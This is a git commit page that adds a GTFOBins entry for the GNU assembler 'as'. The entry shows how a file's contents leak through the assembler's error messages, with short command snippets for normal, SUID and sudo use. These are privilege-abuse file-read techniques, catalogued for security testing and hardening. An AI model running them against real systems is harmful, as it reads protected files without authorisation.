Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
master
LinuxSploit 2021-09-11 12:58:05 +05:00 committed by GitHub
parent d18b44c885
commit f03907836c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 16 additions and 0 deletions

16
_gtfobins/as.md Normal file
View File

@ -0,0 +1,16 @@
---
description: The file content is treated as command line options and disclosed throught error messages, so this is not suitable to read arbitrary binary data.
functions:
file-read:
- code: |
LFILE=file_to_read
as @$LFILE
suid:
- code: |
LFILE=file_to_read
./as @$LFILE
sudo:
- code: |
LFILE=file_to_read
sudo as @$LFILE
---